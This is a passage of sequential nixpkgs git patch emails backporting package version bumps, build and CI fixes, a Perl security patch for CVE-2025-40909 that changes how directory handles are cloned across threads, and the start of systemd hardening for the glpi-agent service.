-      description = "Fork of Firefox, focused on keeping the Open, Private and Sustainable Web alive, built in Japan";
+      description = "Fork of Firefox that seeks balance between versatility, privacy and web openness";
       homepage = "https://floorp.app/";
       maintainers = with lib.maintainers; [ christoph-heiss ];
       platforms = lib.platforms.unix;

From a8e416167088f0c01173676e5cfe823b25d16439 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 05:58:44 +0000
Subject: [PATCH 0267/4511] thunderbird-128-unwrapped: 128.10.1esr ->
 128.11.0esr

(cherry picked from commit 5cac806da667f87cb00f334e080bf8eb353af877)
---
 .../networking/mailreaders/thunderbird/packages.nix           | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
index 747665b72097..ee32ac85aeb0 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird/packages.nix
@@ -106,8 +106,8 @@ rec {
   thunderbird-128 = common {
     applicationName = "Thunderbird ESR";
 
-    version = "128.10.1esr";
-    sha512 = "09b54450928c6e0d948cd79a56c28bdb5fe5a81d7c710470a1ec195dd295c433b872682102c74930f19b1184391c30115293dadcd7dc8a08ae8baeb12770ef9c";
+    version = "128.11.0esr";
+    sha512 = "33de73db2d5ab5152ff11c1947317081259f4e7644631b5e6b9c3b192b4473a5ae6fe897b27b3c8e240ff8c606ffaa8cc14e169c34a94b8de6e64b0c5f0f6810";
 
     updateScript = callPackage ./update.nix {
       attrPath = "thunderbirdPackages.thunderbird-128";

From ffa82b9ad4127bdf80b396a579ba3512d75ec963 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Thu, 15 May 2025 17:09:18 +0200
Subject: [PATCH 0268/4511] oxidized: fix symlink

(cherry picked from commit 99bdbcbd01fad57248468275247688de03357aa1)
---
 nixos/modules/services/admin/oxidized.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/admin/oxidized.nix b/nixos/modules/services/admin/oxidized.nix
index 44b28991feab..7c99e395adb5 100644
--- a/nixos/modules/services/admin/oxidized.nix
+++ b/nixos/modules/services/admin/oxidized.nix
@@ -124,7 +124,7 @@ in
         };
 
         "${cfg.dataDir}/.config/oxidized/config" = {
-          L = {
+          "L+" = {
             argument = "${cfg.configFile}";
             user = cfg.user;
             group = cfg.group;
@@ -134,7 +134,7 @@ in
       }
       // lib.optionalAttrs (cfg.routerDB != null) {
         "${cfg.dataDir}/.config/oxidized/router.db" = {
-          L = {
+          "L+" = {
             argument = "${cfg.routerDB}";
             user = cfg.user;
             group = cfg.group;

From a9ed95436ad0168fbecb5f9a860adba987f04817 Mon Sep 17 00:00:00 2001
From: Manuel Frischknecht <manuel.frischknecht@gmail.com>
Date: Sun, 25 May 2025 15:43:32 +0200
Subject: [PATCH 0269/4511] trimmomatic: fix build by switching to JDK 21

For some reason, the invocation of jre_minimal in conjunction with
JDK 11 leads to failures; `jlink` complains about a version mismatch
with the target JRE version:

```
Running phase: patchPhase
Running phase: updateAutotoolsGnuConfigScriptsPhase
Running phase: configurePhase
no configure script, doing nothing
Running phase: buildPhase
Error: jlink version 21.0 does not match target java.base version 11.0
```

I didn't invest much time into figuring out how this happens, because
simply switching to JDK 21 seems to do at least fix the failing build.

(cherry picked from commit 1d9da023e6ddb5ee4ec7dd0e4632165b8c4bfa52)
---
 pkgs/top-level/all-packages.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index faedc8e510c5..8e486cdf386d 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -15663,14 +15663,14 @@ with pkgs;
     ;
 
   trimmomatic = callPackage ../applications/science/biology/trimmomatic {
-    jdk = pkgs.jdk11_headless;
+    jdk = pkgs.jdk21_headless;
     # Reduce closure size
     jre = pkgs.jre_minimal.override {
       modules = [
         "java.base"
         "java.logging"
       ];
-      jdk = pkgs.jdk11_headless;
+      jdk = pkgs.jdk21_headless;
     };
   };
 

From f27dd9be81e8464f7b119368719ffec0740ac11a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 29 May 2025 12:46:25 +0200
Subject: [PATCH 0270/4511] ci/check-cherry-picks: add staging as pickable
 branch again

This was accidentally removed in
ea636d1728f25328511401c4919eec96e7426de0, left-over from debugging.

(cherry picked from commit 6847270de2df51637ec2d3b1d382d8cb89163585)
---
 ci/check-cherry-picks.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 612174925f57..427f28a237ab 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -11,7 +11,7 @@ fi
 # Make sure we are inside the nixpkgs repo, even when called from outside
 cd "$(dirname "${BASH_SOURCE[0]}")"
 
-PICKABLE_BRANCHES="master release-??.?? staging-??.?? haskell-updates python-updates"
+PICKABLE_BRANCHES="master staging release-??.?? staging-??.?? haskell-updates python-updates"
 problem=0
 
 # Not everyone calls their remote "origin"

From 095d8ca67e83b72f4128a0b78833e979f54106c9 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 30 May 2025 13:04:26 +0200
Subject: [PATCH 0271/4511] ci/check-cherry-picks: add staging-next as pickable
 branch

Even though there is only a small window where a commit is not on
staging, but already on staging-next, it is technically valid to
backport commits from staging-next, too.

(cherry picked from commit 802f353d0506e4f6fb5b482989e5ae277d26dc8e)
---
 ci/check-cherry-picks.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/check-cherry-picks.sh b/ci/check-cherry-picks.sh
index 427f28a237ab..e7c9e289b22b 100755
--- a/ci/check-cherry-picks.sh
+++ b/ci/check-cherry-picks.sh
@@ -11,7 +11,7 @@ fi
 # Make sure we are inside the nixpkgs repo, even when called from outside
 cd "$(dirname "${BASH_SOURCE[0]}")"
 
-PICKABLE_BRANCHES="master staging release-??.?? staging-??.?? haskell-updates python-updates"
+PICKABLE_BRANCHES="master staging release-??.?? staging-??.?? haskell-updates python-updates staging-next staging-next-??.??"
 problem=0
 
 # Not everyone calls their remote "origin"

From 960d080a353dedc91f80d4fbed956afb3815e920 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 19 May 2025 11:23:52 +0000
Subject: [PATCH 0272/4511] satty: 0.18.0 -> 0.18.1

(cherry picked from commit 8bf7afa66d83f55591cc41e57768008085de5ef9)
---
 pkgs/by-name/sa/satty/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sa/satty/package.nix b/pkgs/by-name/sa/satty/package.nix
index 780e890559bf..7fa70a01419d 100644
--- a/pkgs/by-name/sa/satty/package.nix
+++ b/pkgs/by-name/sa/satty/package.nix
@@ -17,17 +17,17 @@
 rustPlatform.buildRustPackage rec {
 
   pname = "satty";
-  version = "0.18.0";
+  version = "0.18.1";
 
   src = fetchFromGitHub {
     owner = "gabm";
     repo = "Satty";
     rev = "v${version}";
-    hash = "sha256-qsehxmx+iQKG70Es2I+G8hs4G56e/PuPPenNeEQ4sGQ=";
+    hash = "sha256-IqXzY4mccwVgRaq1TLr1dSyqSbIvClDyF6ahA6f5UP8=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-VQ8BwEeDM9Dll6GIwXH2wHWwRKJxk3gTrxZ95pFaH4c=";
+  cargoHash = "sha256-xfRuEq7YgyYD9IvEzVAor/Iz4LUBUawDREXtqerDn6A=";
 
   nativeBuildInputs = [
     copyDesktopItems

From 1079de67be2d1098dc64364153b401b00ac612ee Mon Sep 17 00:00:00 2001
From: Stig Palmquist <git@stig.io>
Date: Fri, 30 May 2025 05:28:24 +0200
Subject: [PATCH 0273/4511] perl: apply patch for CVE-2025-40909

(cherry picked from commit 88c1caa7d016c401082a44979bfde7e5e276048f)
---
 .../interpreters/perl/CVE-2025-40909.patch    | 408 ++++++++++++++++++
 .../interpreters/perl/interpreter.nix         |   1 +
 2 files changed, 409 insertions(+)
 create mode 100644 pkgs/development/interpreters/perl/CVE-2025-40909.patch

diff --git a/pkgs/development/interpreters/perl/CVE-2025-40909.patch b/pkgs/development/interpreters/perl/CVE-2025-40909.patch
new file mode 100644
index 000000000000..984c56e871ff
--- /dev/null
+++ b/pkgs/development/interpreters/perl/CVE-2025-40909.patch
@@ -0,0 +1,408 @@
+From 918bfff86ca8d6d4e4ec5b30994451e0bd74aba9 Mon Sep 17 00:00:00 2001
+From: Leon Timmermans <fawaka@gmail.com>
+Date: Fri, 23 May 2025 15:40:41 +0200
+Subject: [PATCH] CVE-2025-40909: Clone dirhandles without fchdir
+
+This uses fdopendir and dup to dirhandles. This means it won't change
+working directory during thread cloning, which prevents race conditions
+that can happen if a third thread is active at the same time.
+---
+ Configure                      |   6 ++
+ Cross/config.sh-arm-linux      |   1 +
+ Cross/config.sh-arm-linux-n770 |   1 +
+ Porting/Glossary               |   5 ++
+ Porting/config.sh              |   1 +
+ config_h.SH                    |   6 ++
+ configure.com                  |   1 +
+ plan9/config_sh.sample         |   1 +
+ sv.c                           |  91 +----------------------------
+ t/op/threads-dirh.t            | 104 +--------------------------------
+ win32/config.gc                |   1 +
+ win32/config.vc                |   1 +
+ 12 files changed, 28 insertions(+), 191 deletions(-)
+
+diff --git a/Configure b/Configure
+index 44c12ced4014..7a13249caa96 100755
+--- a/Configure
++++ b/Configure
+@@ -478,6 +478,7 @@ d_fd_set=''
+ d_fds_bits=''
+ d_fdclose=''
+ d_fdim=''
++d_fdopendir=''
+ d_fegetround=''
+ d_ffs=''
+ d_ffsl=''
+@@ -13344,6 +13345,10 @@ esac
+ set i_fcntl
+ eval $setvar
+ 
++: see if fdopendir exists
++set fdopendir d_fdopendir
++eval $inlibc
++
+ : see if fork exists
+ set fork d_fork
+ eval $inlibc
+@@ -25052,6 +25057,7 @@ d_flockproto='$d_flockproto'
+ d_fma='$d_fma'
+ d_fmax='$d_fmax'
+ d_fmin='$d_fmin'
++d_fdopendir='$d_fdopendir'
+ d_fork='$d_fork'
+ d_fp_class='$d_fp_class'
+ d_fp_classify='$d_fp_classify'
+diff --git a/Cross/config.sh-arm-linux b/Cross/config.sh-arm-linux
+index bfa0b00d5f0f..9e056539198b 100644
+--- a/Cross/config.sh-arm-linux
++++ b/Cross/config.sh-arm-linux
+@@ -212,6 +212,7 @@ d_fd_macros='define'
+ d_fd_set='define'
+ d_fdclose='undef'
+ d_fdim='undef'
++d_fdopendir=undef
+ d_fds_bits='undef'
+ d_fegetround='define'
+ d_ffs='undef'
+diff --git a/Cross/config.sh-arm-linux-n770 b/Cross/config.sh-arm-linux-n770
+index 47ad5c37e3fd..365e4c4f9671 100644
+--- a/Cross/config.sh-arm-linux-n770
++++ b/Cross/config.sh-arm-linux-n770
+@@ -211,6 +211,7 @@ d_fd_macros='define'
+ d_fd_set='define'
+ d_fdclose='undef'
+ d_fdim='undef'
++d_fdopendir=undef
+ d_fds_bits='undef'
+ d_fegetround='define'
+ d_ffs='undef'
+diff --git a/Porting/Glossary b/Porting/Glossary
+index bb505c653b0b..8b2965ca99c6 100644
+--- a/Porting/Glossary
++++ b/Porting/Glossary
+@@ -947,6 +947,11 @@ d_fmin (d_fmin.U):
+ 	This variable conditionally defines the HAS_FMIN symbol, which
+ 	indicates to the C program that the fmin() routine is available.
+ 
++d_fdopendir (d_fdopendir.U):
++	This variable conditionally defines the HAS_FORK symbol, which
++	indicates that the fdopen routine is available to open a
++	directory descriptor.
++
+ d_fork (d_fork.U):
+ 	This variable conditionally defines the HAS_FORK symbol, which
+ 	indicates to the C program that the fork() routine is available.
+diff --git a/Porting/config.sh b/Porting/config.sh
+index a921f7e1c79a..6231ea0f31ea 100644
+--- a/Porting/config.sh
++++ b/Porting/config.sh
+@@ -223,6 +223,7 @@ d_fd_macros='define'
+ d_fd_set='define'
+ d_fdclose='undef'
+ d_fdim='define'
++d_fdopendir='define'
+ d_fds_bits='define'
+ d_fegetround='define'
+ d_ffs='define'
+diff --git a/config_h.SH b/config_h.SH
+index da0f2dbcd7b7..5a0f81cf2011 100755
+--- a/config_h.SH
++++ b/config_h.SH
+@@ -142,6 +142,12 @@ sed <<!GROK!THIS! >$CONFIG_H -e 's!^#undef\(.*/\)\*!/\*#define\1 \*!' -e 's!^#un
+  */
+ #$d_fcntl HAS_FCNTL		/**/
+ 
++/* HAS_FDOPENDIR:
++ * This symbol, if defined, indicates that the fdopen routine is
++ * available to open a directory descriptor.
++ */
++#$d_fdopendir HAS_FDOPENDIR		/**/
++
+ /* HAS_FGETPOS:
+  *	This symbol, if defined, indicates that the fgetpos routine is
+  *	available to get the file position indicator, similar to ftell().
+diff --git a/configure.com b/configure.com
+index 99527c180bfc..7c38711bb85d 100644
+--- a/configure.com
++++ b/configure.com
+@@ -6010,6 +6010,7 @@ $ WC "d_fd_set='" + d_fd_set + "'"
+ $ WC "d_fd_macros='define'"
+ $ WC "d_fdclose='undef'"
+ $ WC "d_fdim='" + d_fdim + "'"
++$ WC "d_fdopendir='undef'"
+ $ WC "d_fds_bits='define'"
+ $ WC "d_fegetround='undef'"
+ $ WC "d_ffs='undef'"
+diff --git a/plan9/config_sh.sample b/plan9/config_sh.sample
+index 636acbdf6db3..246bad954424 100644
+--- a/plan9/config_sh.sample
++++ b/plan9/config_sh.sample
+@@ -212,6 +212,7 @@ d_fd_macros='undef'
+ d_fd_set='undef'
+ d_fdclose='undef'
+ d_fdim='undef'
++d_fdopendir=undef
+ d_fds_bits='undef'
+ d_fegetround='undef'
+ d_ffs='undef'
+diff --git a/sv.c b/sv.c
+index ae6d09dea28a..8a005b2d165b 100644
+--- a/sv.c
++++ b/sv.c
+@@ -14096,15 +14096,6 @@ Perl_dirp_dup(pTHX_ DIR *const dp, CLONE_PARAMS *const param)
+ {
+     DIR *ret;
+ 
+-#if defined(HAS_FCHDIR) && defined(HAS_TELLDIR) && defined(HAS_SEEKDIR)
+-    DIR *pwd;
+-    const Direntry_t *dirent;
+-    char smallbuf[256]; /* XXX MAXPATHLEN, surely? */
+-    char *name = NULL;
+-    STRLEN len = 0;
+-    long pos;
+-#endif
+-
+     PERL_UNUSED_CONTEXT;
+     PERL_ARGS_ASSERT_DIRP_DUP;
+ 
+@@ -14116,89 +14107,13 @@ Perl_dirp_dup(pTHX_ DIR *const dp, CLONE_PARAMS *const param)
+     if (ret)
+         return ret;
+ 
+-#if defined(HAS_FCHDIR) && defined(HAS_TELLDIR) && defined(HAS_SEEKDIR)
++#ifdef HAS_FDOPENDIR
+ 
+     PERL_UNUSED_ARG(param);
+ 
+-    /* create anew */
+-
+-    /* open the current directory (so we can switch back) */
+-    if (!(pwd = PerlDir_open("."))) return (DIR *)NULL;
+-
+-    /* chdir to our dir handle and open the present working directory */
+-    if (fchdir(my_dirfd(dp)) < 0 || !(ret = PerlDir_open("."))) {
+-        PerlDir_close(pwd);
+-        return (DIR *)NULL;
+-    }
+-    /* Now we should have two dir handles pointing to the same dir. */
+-
+-    /* Be nice to the calling code and chdir back to where we were. */
+-    /* XXX If this fails, then what? */
+-    PERL_UNUSED_RESULT(fchdir(my_dirfd(pwd)));
++    ret = fdopendir(dup(my_dirfd(dp)));
+ 
+-    /* We have no need of the pwd handle any more. */
+-    PerlDir_close(pwd);
+-
+-#ifdef DIRNAMLEN
+-# define d_namlen(d) (d)->d_namlen
+-#else
+-# define d_namlen(d) strlen((d)->d_name)
+-#endif
+-    /* Iterate once through dp, to get the file name at the current posi-
+-       tion. Then step back. */
+-    pos = PerlDir_tell(dp);
+-    if ((dirent = PerlDir_read(dp))) {
+-        len = d_namlen(dirent);
+-        if (len > sizeof(dirent->d_name) && sizeof(dirent->d_name) > PTRSIZE) {
+-            /* If the len is somehow magically longer than the
+-             * maximum length of the directory entry, even though
+-             * we could fit it in a buffer, we could not copy it
+-             * from the dirent.  Bail out. */
+-            PerlDir_close(ret);
+-            return (DIR*)NULL;
+-        }
+-        if (len <= sizeof smallbuf) name = smallbuf;
+-        else Newx(name, len, char);
+-        Move(dirent->d_name, name, len, char);
+-    }
+-    PerlDir_seek(dp, pos);
+-
+-    /* Iterate through the new dir handle, till we find a file with the
+-       right name. */
+-    if (!dirent) /* just before the end */
+-        for(;;) {
+-            pos = PerlDir_tell(ret);
+-            if (PerlDir_read(ret)) continue; /* not there yet */
+-            PerlDir_seek(ret, pos); /* step back */
+-            break;
+-        }
+-    else {
+-        const long pos0 = PerlDir_tell(ret);
+-        for(;;) {
+-            pos = PerlDir_tell(ret);
+-            if ((dirent = PerlDir_read(ret))) {
+-                if (len == (STRLEN)d_namlen(dirent)
+-                    && memEQ(name, dirent->d_name, len)) {
+-                    /* found it */
+-                    PerlDir_seek(ret, pos); /* step back */
+-                    break;
+-                }
+-                /* else we are not there yet; keep iterating */
+-            }
+-            else { /* This is not meant to happen. The best we can do is
+-                      reset the iterator to the beginning. */
+-                PerlDir_seek(ret, pos0);
+-                break;
+-            }
+-        }
+-    }
+-#undef d_namlen
+-
+-    if (name && name != smallbuf)
+-        Safefree(name);
+-#endif
+-
+-#ifdef WIN32
++#elif defined(WIN32)
+     ret = win32_dirp_dup(dp, param);
+ #endif
+ 
+diff --git a/t/op/threads-dirh.t b/t/op/threads-dirh.t
+index bb4bcfc14184..14c399ca19cd 100644
+--- a/t/op/threads-dirh.t
++++ b/t/op/threads-dirh.t
+@@ -13,16 +13,12 @@ BEGIN {
+      skip_all_if_miniperl("no dynamic loading on miniperl, no threads");
+      skip_all("runs out of memory on some EBCDIC") if $ENV{PERL_SKIP_BIG_MEM_TESTS};
+ 
+-     plan(6);
++     plan(1);
+ }
+ 
+ use strict;
+ use warnings;
+ use threads;
+-use threads::shared;
+-use File::Path;
+-use File::Spec::Functions qw 'updir catdir';
+-use Cwd 'getcwd';
+ 
+ # Basic sanity check: make sure this does not crash
+ fresh_perl_is <<'# this is no comment', 'ok', {}, 'crash when duping dirh';
+@@ -31,101 +27,3 @@ fresh_perl_is <<'# this is no comment', 'ok', {}, 'crash when duping dirh';
+    async{}->join for 1..2;
+    print "ok";
+ # this is no comment
+-
+-my $dir;
+-SKIP: {
+- skip "telldir or seekdir not defined on this platform", 5
+-    if !$Config::Config{d_telldir} || !$Config::Config{d_seekdir};
+- my $skip = sub {
+-   chdir($dir);
+-   chdir updir;
+-   skip $_[0], 5
+- };
+-
+- if(!$Config::Config{d_fchdir} && $^O ne "MSWin32") {
+-  $::TODO = 'dir handle cloning currently requires fchdir on non-Windows platforms';
+- }
+-
+- my @w :shared; # warnings accumulator
+- local $SIG{__WARN__} = sub { push @w, $_[0] };
+-
+- $dir = catdir getcwd(), "thrext$$" . int rand() * 100000;
+-
+- rmtree($dir) if -d $dir;
+- mkdir($dir);
+-
+- # Create a dir structure like this:
+- #   $dir
+- #     |
+- #     `- toberead
+- #            |
+- #            +---- thrit
+- #            |
+- #            +---- rile
+- #            |
+- #            `---- zor
+-
+- chdir($dir);
+- mkdir 'toberead';
+- chdir 'toberead';
+- {open my $fh, ">thrit" or &$skip("Cannot create file thrit")}
+- {open my $fh, ">rile" or &$skip("Cannot create file rile")}
+- {open my $fh, ">zor" or &$skip("Cannot create file zor")}
+- chdir updir;
+-
+- # Then test that dir iterators are cloned correctly.
+-
+- opendir my $toberead, 'toberead';
+- my $start_pos = telldir $toberead;
+- my @first_2 = (scalar readdir $toberead, scalar readdir $toberead);
+- my @from_thread = @{; async { [readdir $toberead ] } ->join };
+- my @from_main = readdir $toberead;
+- is join('-', sort @from_thread), join('-', sort @from_main),
+-     'dir iterator is copied from one thread to another';
+- like
+-   join('-', "", sort(@first_2, @from_thread), ""),
+-   qr/(?<!-rile)-rile-thrit-zor-(?!zor-)/i,
+-  'cloned iterator iterates exactly once over everything not already seen';
+-
+- seekdir $toberead, $start_pos;
+- readdir $toberead for 1 .. @first_2+@from_thread;
+- {
+-  local $::TODO; # This always passes when dir handles are not cloned.
+-  is
+-    async { readdir $toberead // 'undef' } ->join, 'undef',
+-   'cloned dir iterator that points to the end of the directory'
+-  ;
+- }
+-
+- # Make sure the cloning code can handle file names longer than 255 chars
+- SKIP: {
+-  chdir 'toberead';
+-  open my $fh,
+-    ">floccipaucinihilopilification-"
+-   . "pneumonoultramicroscopicsilicovolcanoconiosis-"
+-   . "lopadotemachoselachogaleokranioleipsanodrimypotrimmatosilphiokarabo"
+-   . "melitokatakechymenokichlepikossyphophattoperisteralektryonoptokephal"
+-   . "liokinklopeleiolagoiosiraiobaphetraganopterygon"
+-    or
+-     chdir updir,
+-     skip("OS does not support long file names (and I mean *long*)", 1);
+-  chdir updir;
+-  opendir my $dirh, "toberead";
+-  my $test_name
+-    = "dir iterators can be cloned when the next fn > 255 chars";
+-  while() {
+-   my $pos = telldir $dirh;
+-   my $fn = readdir($dirh);
+-   if(!defined $fn) { fail($test_name); last SKIP; }
+-   if($fn =~ 'lagoio') { 
+-    seekdir $dirh, $pos;
+-    last;
+-   }
+-  }
+-  is length async { scalar readdir $dirh } ->join, 258, $test_name;
+- }
+-
+- is scalar @w, 0, 'no warnings during all that' or diag @w;
+- chdir updir;
+-}
+-rmtree($dir);
+diff --git a/win32/config.gc b/win32/config.gc
+index f8776188c09c..34aa8de6ed75 100644
+--- a/win32/config.gc
++++ b/win32/config.gc
+@@ -199,6 +199,7 @@ d_fd_macros='define'
+ d_fd_set='define'
+ d_fdclose='undef'
+ d_fdim='undef'
++d_fdopendir='undef'
+ d_fds_bits='define'
+ d_fegetround='undef'
+ d_ffs='undef'
+diff --git a/win32/config.vc b/win32/config.vc
+index 619979e22b53..536085fe94e0 100644
+--- a/win32/config.vc
++++ b/win32/config.vc
+@@ -199,6 +199,7 @@ d_fd_macros='define'
+ d_fd_set='define'
+ d_fdclose='undef'
+ d_fdim='undef'
++d_fdopendir='undef'
+ d_fds_bits='define'
+ d_fegetround='undef'
+ d_ffs='undef'
diff --git a/pkgs/development/interpreters/perl/interpreter.nix b/pkgs/development/interpreters/perl/interpreter.nix
index f75a504b14de..a26f839e2f84 100644
--- a/pkgs/development/interpreters/perl/interpreter.nix
+++ b/pkgs/development/interpreters/perl/interpreter.nix
@@ -73,6 +73,7 @@ stdenv.mkDerivation (
     patches =
       [
         ./CVE-2024-56406.patch
+        ./CVE-2025-40909.patch
       ]
       # Do not look in /usr etc. for dependencies.
       ++ lib.optional ((lib.versions.majorMinor version) == "5.38") ./no-sys-dirs-5.38.0.patch

From 4b71965174357ca87482b01ab82d3762ea83645e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marco=20K=C3=B6pcke?= <hello@capypara.de>
Date: Sat, 17 May 2025 12:04:09 +0200
Subject: [PATCH 0274/4511] pythonPackages.tornado: 6.4.2 -> 6.5.0

(cherry picked from commit 9eee3b6cf287d6141ceb219eba86be12fcfb8af4)
---
 pkgs/development/python-modules/tornado/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/tornado/default.nix b/pkgs/development/python-modules/tornado/default.nix
index a4cbb09bf553..b4ee1b4b8947 100644
--- a/pkgs/development/python-modules/tornado/default.nix
+++ b/pkgs/development/python-modules/tornado/default.nix
@@ -20,14 +20,14 @@
 
 buildPythonPackage rec {
   pname = "tornado";
-  version = "6.4.2";
+  version = "6.5.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "tornadoweb";
     repo = "tornado";
     tag = "v${version}";
-    hash = "sha256-qgJh8pnC1ALF8KxhAYkZFAc0DE6jHVB8R/ERJFL4OFc=";
+    hash = "sha256-VHH0pjticsiCKr2J/YvaJca+Cwk7SYDNpcrO/cVTST0=";
   };
 
   build-system = [ setuptools ];

From eb1413f2d86c07aeb95df7e9e33623971b3efc38 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marco=20=22Capypara=22=20K=C3=B6pcke?= <hello@capypara.de>
Date: Thu, 29 May 2025 17:20:45 +0200
Subject: [PATCH 0275/4511] pythonPackages.tornado: 6.5.0 -> 6.5.1

(cherry picked from commit 85ad579bdf749e9e70e5093d544717f33dd4d0ba)
---
 pkgs/development/python-modules/tornado/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/tornado/default.nix b/pkgs/development/python-modules/tornado/default.nix
index b4ee1b4b8947..0d0787591b4c 100644
--- a/pkgs/development/python-modules/tornado/default.nix
+++ b/pkgs/development/python-modules/tornado/default.nix
@@ -20,14 +20,14 @@
 
 buildPythonPackage rec {
   pname = "tornado";
-  version = "6.5.0";
+  version = "6.5.1";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "tornadoweb";
     repo = "tornado";
     tag = "v${version}";
-    hash = "sha256-VHH0pjticsiCKr2J/YvaJca+Cwk7SYDNpcrO/cVTST0=";
+    hash = "sha256-CtmIjPKxKC0T8PGQW1wIAJm/+XxMzZXVZyZxV56sZME=";
   };
 
   build-system = [ setuptools ];

From 066be510d93016861a435ec37618ea99eeedc4c6 Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Wed, 28 May 2025 19:15:00 +0200
Subject: [PATCH 0276/4511] edopro: Switch to projectignis for card image
 downloads

It was pointed out to me that the ygoprodeck owner is not a fan of sims using their hosted images,
especially not in an automated manner.

(cherry picked from commit 7c21bc7b9db823c1204119934ff8e6437945dc4a)
---
 pkgs/by-name/ed/edopro/package.nix | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ed/edopro/package.nix b/pkgs/by-name/ed/edopro/package.nix
index a19f90aed995..0093f27fd1a7 100644
--- a/pkgs/by-name/ed/edopro/package.nix
+++ b/pkgs/by-name/ed/edopro/package.nix
@@ -37,11 +37,10 @@
   zenity,
   covers_url ? "https://pics.projectignis.org:2096/pics/cover/{}.jpg",
   fields_url ? "https://pics.projectignis.org:2096/pics/field/{}.png",
-  # While ygoprodeck has higher quality images, "spamming" of their api results in a ban.
-  # Thats why this link can change since it's compiled into the program, However it will
-  # download assets when needed so it is unlikely to get banned. Unless you search the
-  # card list with no filters of any kind. When testing use ProjectIgnis' website instead.
-  pics_url ? "https://images.ygoprodeck.com/images/cards/{}.jpg",
+  # While ygoprodeck has higher quality images:
+  # 1. automated downloads for sims via their API are discouraged by the owner
+  # 2. images for prerelease cards are unavailable on their service
+  pics_url ? "https://pics.projectignis.org:2096/pics/{}.jpg",
 }:
 let
   archLabel =

From f66fd52e9732a8bb5f73ee41f159f40a339c8c9b Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Tue, 27 May 2025 06:06:26 +0100
Subject: [PATCH 0277/4511] strace: 6.14 -> 6.15

Changes: https://github.com/strace/strace/releases/tag/v6.15
(cherry picked from commit 28d4ec20364c5cfdaac6f79abc14f2a03ed84dd5)
---
 pkgs/by-name/st/strace/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/st/strace/package.nix b/pkgs/by-name/st/strace/package.nix
index 68930c92d64d..f8b521af0d57 100644
--- a/pkgs/by-name/st/strace/package.nix
+++ b/pkgs/by-name/st/strace/package.nix
@@ -11,11 +11,11 @@
 
 stdenv.mkDerivation rec {
   pname = "strace";
-  version = "6.14";
+  version = "6.15";
 
   src = fetchurl {
     url = "https://strace.io/files/${version}/${pname}-${version}.tar.xz";
-    hash = "sha256-JE87XCCjKFTKm3yno+4JHdPUvSCTOhcezujbSGx308k=";
+    hash = "sha256-hVLfqwirwioPIEjJj9lUH9TXG2iCUHlSeA2rfHxRL1E=";
   };
 
   separateDebugInfo = true;

From 71c589f8bb719c6bfd16733ab932f633a7df1988 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Wed, 28 May 2025 10:56:12 +0200
Subject: [PATCH 0278/4511] nixos/glpi-agent: add hardening

(cherry picked from commit e673eca2bef0d6259d7ba70a4e1e66ad5fec7056)
---
 .../services/monitoring/glpi-agent.nix        | 59 +++++++++++++++----
 1 file changed, 48 insertions(+), 11 deletions(-)

diff --git a/nixos/modules/services/monitoring/glpi-agent.nix b/nixos/modules/services/monitoring/glpi-agent.nix
index 78c4d85a16e5..63d435a503ac 100644
--- a/nixos/modules/services/monitoring/glpi-agent.nix
+++ b/nixos/modules/services/monitoring/glpi-agent.nix
@@ -77,24 +77,61 @@ in
       }
     ];
 
-    systemd.tmpfiles.settings."10-glpi-agent" = {
-      ${cfg.stateDir} = {
-        d = {
-          mode = "0755";
-          user = "root";
-          group = "root";
-        };
-      };
-    };
-
     systemd.services.glpi-agent = {
       description = "GLPI Agent";
       wantedBy = [ "multi-user.target" ];
       after = [ "network.target" ];
 
       serviceConfig = {
-        ExecStart = "${lib.getExe cfg.package} --conf-file ${configFile} --vardir ${cfg.stateDir} --daemon --no-fork";
+        ExecStart = lib.escapeShellArgs [
+          "${lib.getExe cfg.package}"
+          "--conf-file"
+          "${configFile}"
+          "--vardir"
+          "${cfg.stateDir}"
+          "--daemon"
+          "--no-fork"
+        ];
+
+        DynamicUser = true;
+        StateDirectory = "glpi-agent";
+        CapabilityBoundingSet = [ "CAP_SYS_ADMIN" ];
+        AmbientCapabilities = [ "CAP_SYS_ADMIN" ];
+
+        LimitCORE = 0;
+        LimitNOFILE = 65535;
+        LockPersonality = true;
+        MemorySwapMax = 0;
+        MemoryZSwapMax = 0;
